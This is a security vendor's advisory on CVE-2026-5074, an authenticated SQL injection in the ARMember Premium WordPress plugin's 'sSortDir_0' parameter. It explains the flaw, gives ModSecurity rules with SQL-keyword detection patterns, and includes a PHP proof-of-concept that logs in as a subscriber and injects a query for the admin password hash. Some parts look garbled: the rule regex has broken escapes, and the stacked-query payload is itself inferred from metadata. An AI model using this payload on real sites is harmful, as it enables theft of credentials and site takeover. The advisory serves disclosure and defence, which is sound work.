Atomic Edge analysis of CVE-2026-5074 (metadata-based): This vulnerability allows authenticated SQL injection through the ARMember Premium plugin’s ‘User Private Content’ addon. An attacker with Subscriber-level access can extract sensitive database information by manipulating the ‘sSortDir_0’ parameter sent to the get_private_content_data AJAX action. The CVSS score of 6.5 reflects a high confidentiality impact with network access required and low attack complexity.
Root Cause: The plugin directly concatenates the user-supplied ‘sSortDir_0’ parameter into the ORDER BY clause of an SQL query without a whitelist check. The description confirms this is an SQL injection vulnerability (CWE-89) resulting from insufficient sanitization. Atomic Edge analysis infers that the plugin likely uses `$wpdb->prepare()` for the query but fails to properly sanitize the ORDER BY clause direction parameter. ORDER BY clauses are particularly vulnerable because they do not accept prepared statement placeholders for column names or directions, requiring manual whitelist validation. The injection occurs in the sorting direction variable, which expects ‘ASC’ or ‘DESC’ but accepts arbitrary SQL.
Exploitation: The attack targets authenticated users via the WordPress AJAX handler. An attacker sends a POST request to `/wp-admin/admin-ajax.php` with action parameter set to `get_private_content_data`. The vulnerable parameter `sSortDir_0` contains a crafted SQL payload that appends additional SQL statements to the existing query. A typical payload might include `ASC; SELECT sensitive_data FROM wp_users–` to extract user credentials. The attacker must be authenticated with at least Subscriber-level access. The ‘User Private Content’ addon must be enabled for the vulnerability to exist.
Remediation: The fix must implement a strict whitelist approach for the ORDER BY direction parameter. The plugin should validate the ‘sSortDir_0’ parameter against an array of allowed values (the exact values ‘ASC’ and ‘DESC’ case-insensitively). Any value not matching the whitelist should be rejected. The patched version 7.3.2 likely implements this exact validation. Developers should avoid direct concatenation of user input into ORDER BY clauses and instead use prepared statements with parameterized queries whenever possible.
Impact: Successful exploitation allows authenticated attackers to execute arbitrary SQL queries against the WordPress database. This exposes sensitive information including user credentials, password hashes, session tokens, and other stored data. The attacker could extract admin password hashes for offline cracking or retrieve any data from the database. The vulnerability does not permit file modification or remote code execution directly, but database access often leads to full site compromise through credential theft.
Here you will find our ModSecurity compatible rule to protect against this particular CVE.
# Atomic Edge WAF Rule - CVE-2026-5074 (metadata-based)
# Rules to block SQL injection in the sSortDir_0 parameter of get_private_content_data AJAX action
# Rule 1: Block SQL injection patterns in sSortDir_0 parameter for get_private_content_data AJAX action
SecRule REQUEST_URI "@streq /wp-admin/admin-ajax.php"
"id:20265074,phase:2,deny,status:403,chain,msg:'CVE-2026-5074 SQL Injection attempt via get_private_content_data AJAX',severity:'CRITICAL',tag:'CVE-2026-5074'"
SecRule ARGS_POST:action "@streq get_private_content_data"
"chain"
SecRule ARGS_POST:sSortDir_0 "@rx (?i)(?:b(?:SELECT|UNION|INSERT|UPDATE|DELETE|DROP|ALTER|CREATE|EXEC|DECLARE|WAITFOR|DELAY|SLEEP|BENCHMARK)b|'|--|#|/*)"
"t:lowercase,t:urlDecode"
# Rule 2: Block sSortDir_0 if it is not exactly ASC or DESC (case-insensitive)
SecRule REQUEST_URI "@streq /wp-admin/admin-ajax.php"
"id:20265075,phase:2,deny,status:403,chain,msg:'CVE-2026-5074 Invalid sSortDir_0 value (not ASC/DESC)',severity:'CRITICAL',tag:'CVE-2026-5074'"
SecRule ARGS_POST:action "@streq get_private_content_data"
"chain"
SecRule ARGS_POST:sSortDir_0 "!@rx ^(?i)(?:ASC|DESC)$"
"t:lowercase,t:urlDecode"
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2026-5074 - ARMember Premium <= 7.3.1 - Authenticated (Subscriber+) SQL Injection via 'sSortDir_0' Parameter
// Configuration - set these values for your test environment
$target_url = 'http://example.com'; // Replace with your target WordPress URL
$username = 'subscriber'; // Replace with subscriber-level credentials
$password = 'password123'; // Replace with subscriber password
// Step 1: Authenticate to WordPress and get cookies
$login_url = $target_url . '/wp-login.php';
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $login_url);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query([
'log' => $username,
'pwd' => $password,
'rememberme' => 'forever',
'wp-submit' => 'Log In'
]));
curl_setopt($ch, CURLOPT_COOKIEJAR, '/tmp/cookies.txt');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_HEADER, false);
curl_exec($ch);
// Step 2: Perform the SQL injection via AJAX
$ajax_url = $target_url . '/wp-admin/admin-ajax.php';
// The payload attempts to extract the first admin user's password hash
// This assumes a standard WordPress table prefix 'wp_'
$sql_payload = "ASC; SELECT user_pass FROM wp_users WHERE id = 1 -- ";
$post_data = [
'action' => 'get_private_content_data',
'sSortDir_0' => $sql_payload,
// Additional parameters may be required by the plugin's handler
// These are typical DataTable parameters that often accompany sSortDir_0
'iColumns' => '1',
'sColumns' => '',
'iSortCol_0' => '0',
'iSortingCols' => '1'
];
curl_setopt($ch, CURLOPT_URL, $ajax_url);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_data));
curl_setopt($ch, CURLOPT_COOKIEFILE, '/tmp/cookies.txt');
$response = curl_exec($ch);
if (curl_errno($ch)) {
echo 'Atomic Edge PoC Error: ' . curl_error($ch) . "n";
} else {
echo 'Atomic Edge PoC Response: ' . $response . "n";
// The response may contain the extracted data if SQL injection succeeded
// In a real attack, this data would be processed further
}
curl_close($ch);
// Note: This PoC assumes the 'User Private Content' addon is enabled and the AJAX action exists.
// The exact SQL syntax may need adjustment based on the underlying database structure.
// The time-based or error-based inference techniques may be required to extract data.
?>